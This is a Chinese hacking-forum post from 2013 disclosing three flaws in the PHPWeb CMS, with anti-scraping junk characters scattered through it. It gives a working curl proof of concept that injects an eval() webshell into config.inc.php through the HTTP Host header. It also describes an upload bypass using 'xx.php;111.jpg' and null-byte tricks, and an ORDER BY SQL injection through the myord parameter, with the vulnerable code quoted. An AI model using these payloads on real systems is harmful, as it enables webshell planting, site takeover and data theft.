找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2696|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:8 ]4 x3 L1 H/ ~  P) T" u

( J; O# s( u5 Y# H/ C! U- ^之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
& O0 i8 G6 m/ G- L4 {: X( p . [7 d. r/ n' I! z" R
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件7 o9 u" N5 [4 f9 |% C
鸡肋2: 有一定安全常识的站长都会删掉 install 目录! `& R0 J; R* \+ V% ]* Q

$ l- x6 e- s' ~虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响3 c0 k% F) q" i9 o( ?( n
) K& [) p! r, Y& A, P( ?' d
分析:
. j8 e4 g. i" e* q : O* F- ?; h' M3 w9 ]- p/ V
( e# C+ C, {) P" J) S
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
; V* I# N0 }0 B: U3 D$ V# _0 B ) ]: M$ g6 l8 j$ Q4 ]8 u
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
  |* a; A& h( U                                            $filestr=str_replace(" ","",$filestr);
7 f! V( q; K* {) w: \                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
/ P7 G/ [7 E, H8 M                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
  }; e+ m" p) S/ ?- `& V$ ]                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
3 N- W1 X1 V# j$ Q9 i                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
; R/ ^) H7 q& m  [& C3 H                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);8 n( R. I3 d, R0 c
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
- y' h' v; ]* h& B6 k6 f1 Q/ k                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
: b9 |+ k" t& v8 ^
# }* c1 B) V! }/ a0 l                                            fwrite(fopen($ConFile,"w"),$filestr,30000);, G3 b& y/ k  a
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
8 t- u" y9 t* s: r! I5 a   q: q* w" _( Q* m- W
poc:% Y: k$ n  }# F3 C

' _8 L, ^9 M3 w  o?
  j/ I1 l$ r2 b/ P0 l10 X" }4 H; ~: f" O
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
- }/ |1 x0 {* Lshell地址: /config.inc.php
+ r$ v- d8 ]6 U  f" I  F6 R. F跟之前的 phpcms一样 需要远程数据库0 U; ^9 C+ V' I5 c9 a# B9 Y

, t8 j4 V$ ?" c——————————————————–
) X( E+ D. ^, p) l$ B8 J上传漏洞(需要进后台):7 G% l7 |! u7 }4 M
漏洞文件: /kedit/upload_cgi/upload.php8 D& y: W2 h  `* }* M
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用( v7 q9 N2 P# {, n: W1 a

2 S3 t5 B. A) A8 k$ ~) i ; B0 e1 l7 H5 u( O% f' ]
<?php
# O& t1 Q! t& U% {    define("ROOTPATH", "../../");
4 \0 o% o! v$ Q1 r2 _5 T$ V4 j4 H    include(ROOTPATH."includes/admin.inc.php");
6 V9 W7 c0 t# M    NeedAuth(0);% v' t) T. f8 n8 b
* h; _- j" e9 p6 M' W
    $dt=date("Ymd",time());
4 x% L: i" z- N  d+ ~8 V    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){( @# ]: ?( H2 s
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);# t1 ?0 i2 ?9 h' v# j; F+ x
    }
1 g+ Y  r6 @) i5 m  o- a) J0 i6 x1 p2 S
* r3 m& o3 o* Y+ t. C' e3 N    //文件保存目录路径5 ]( e6 e& Y+ S& |: u1 w' c
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';0 B5 P% n! q& }; C
    echo $save_path;+ L/ M3 _& |+ n1 p
    //文件保存目录URL' f6 M, B7 e. r+ v  u
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';7 r: S5 d" J, _4 _+ @1 z4 E( u
5 p$ r+ X9 y* q' h
    //定义允许上传的文件扩展名
; e7 ~1 x% l/ F$ z: g* Z' Y( e/ o    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀7 S; _  M# H1 q& S0 w
  n/ M$ _0 m1 n# E
    //最大文件大小
' P( A( P# G; i3 I    $max_size = 1000000;( x0 c3 U* w: f! B. l

# o  h+ |1 y1 N: v3 d    //更改目录权限; W- e6 U: M( S2 p
    @mkdir($save_path, 0777);
( Q9 S9 ^5 `' `; N7 u2 r
7 i$ T; O8 y/ k7 \) j0 v" [# B    //文件的全部路径
$ r+ S/ i4 o% ~( R, r    $file_path = $save_path.$_POST['fileName'];   //保存文件名
6 U" v& N8 x6 X" v6 q$ A7 C 4 }% w9 T! a7 {7 v8 b6 u
    //文件URL1 l# l' s+ W5 G# k# F( z( d1 ~
    $file_url = $save_url.$_POST['fileName'];
: n: b& b! T% `5 G2 ?$ \" p# B//有上传文件时
! J9 _* o# r. q  q$ x    if (empty($_FILES) === false) {
3 E- o1 p+ J& h. r
0 @) W& o8 F1 h3 Y) Q% {& ^            //原文件名: f( l' G) @% i% |
            $file_name = $_FILES['fileData']['name'];3 C$ L. N1 k% L  A' M
            //服务器上临时文件名( u1 h  Y! K0 S
            $tmp_name = $_FILES['fileData']['tmp_name'];
* Q, T) m2 k# I: }$ Z            //文件大小
& A# ~  F1 o! p9 v            $file_size = $_FILES['fileData']['size'];
; g: K4 t  @1 M2 l$ I            //检查目录" Z/ i4 K5 u( P& u. Z
            if (@is_dir($save_path) === false) {( i3 @7 T( v4 M' P2 s
                    alert("上传目录不存在。");2 e+ u* r# i; p2 H$ N  Q
            }
1 |0 a% A& s0 n0 C! [4 p            //检查目录写权限
: v7 u. E' A4 f8 ]            if (@is_writable($save_path) === false) {! m$ ~8 {" I$ I7 @0 W+ I0 g
                    alert("上传目录没有写权限。");
; w& \4 q, U" L: @) D* Q) T6 {            }
1 D, |# T! S8 ^% D' A* E) t            //检查是否已上传# v0 U, H! `, @" P; c/ k$ O- V
            if (@is_uploaded_file($tmp_name) === false) {
& @0 b: n! G3 Z5 C                    alert("临时文件可能不是上传文件。");
: L. s5 Y$ _# q5 \            }
! ^0 U# _* {6 @5 C            //检查文件大小7 u( W7 c8 l$ B5 x
            if ($file_size > $max_size) {
5 y+ p% }" J# x                    alert("上传文件大小超过限制。");, r3 M. g& X/ x* c' w
            }6 V/ J3 E  v0 @8 B% _  N* j
            //获得文件扩展名
! M0 q% O4 G# c            $temp_arr = explode(".", $_POST['fileName']);
/ x% u- _9 Y. M& b7 a3 P            $file_ext = array_pop($temp_arr);
  ?, e' ]' V* d6 @            $file_ext = trim($file_ext);
: |" k+ O6 W( J7 o. I            $file_ext = strtolower($file_ext);
# N+ O& [5 W: |2 S6 H8 R
; o9 |6 }8 [6 N# m, ~8 y            //检查扩展名   ! J! r1 }# a% a( H2 s) t8 V. h. W
            if (in_array($file_ext, $ext_arr) === false) {     
- g2 k' o. x7 y/ v                    alert("上传文件扩展名是不允许的扩展名。");
5 L& C% h* r, O, T: h            }: V- \- ^  X. D/ s! b/ ]
2 G8 a9 t4 V/ n9 _$ P& `
            //移动文件   
- j* j; d5 ~. X0 `& |$ J) M6 e            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^2 N0 W, u6 x( u/ R7 {& s
            if (move_uploaded_file($tmp_name, $file_path) === false) {
  A- a% i: ?9 \& n3 z) N                    alert("上传文件失败。");
' H8 u$ b: @" O8 U            }- ~& m, ~6 K& w1 c, z3 c
- @6 V/ D% ]  _% D. Z
            @chmod($file_path,0666);/ _9 |- x9 ?, `5 Q3 S
' Z, k0 ?5 T& y% y. u: X6 i
    ?>
8 J# u$ a4 o; N0 p3 Y抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
- F. F3 S+ j/ x0 U/ f1 ?; p8 o" z
* e* G0 I, O  y' T) ?2 w: Lapache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过# b8 |# C7 B3 v  v7 E  _2 r, c7 e
3 J9 ]" a9 x) \+ O) Z. Z: W
——————————————————
' A: C; T. l8 P* }注入漏洞:& n, n, D9 i8 E- v
漏洞文件:search/module/search.php& K$ [/ K+ r5 w5 |7 X
/search/index.php?key=1&myord=1 [sqlinjection]
" k: v$ {4 u9 C' r, R. Z6 Z
+ H3 O1 g. @: d3 K) T$ d 5 w9 X! L  B$ g4 f* r
<?php$ W( N. I0 T% w8 Z
   //       ... 省略 n 行...
5 I2 ?0 ~0 \" h0 F+ M   //第18行:& ~8 r; U4 x* t8 o0 k4 U9 a7 \9 j) S; x! z
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响: {2 k# E* J+ Y5 O* z+ b
           $page=htmlspecialchars($_GET["page"]);
9 ?8 f; ~0 j1 B5 i- \. G, M9 }           $myord=htmlspecialchars($_GET["myord"]);
' H2 g8 _" l4 M* g7 i
" i* j) x  N8 M1 F   //       ... 省略 n 行...6 b9 F5 c% _( I8 h$ t2 @# @4 F/ }1 G
   $key,$myord 两个参数带入查询
; s) J- R# a" A+ i2 K4 x   //第47行 $key:3 @. g% D. v3 Z8 n+ {

" J7 A: F% H4 }4 M& W   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
" g: Z( f" k' G/ I2 L' C
& @$ u; V( R/ U6 |2 \; ^# v8 {   //第197行 $myord$ S# M$ f2 `! \4 q! Q% z
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
0 u8 B0 B, Y4 ~3 ]. K& M/ Y: q - ~' w  ~* D8 }- G6 F; r
   ?>) B" Q* `6 H! H& S6 U; o
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表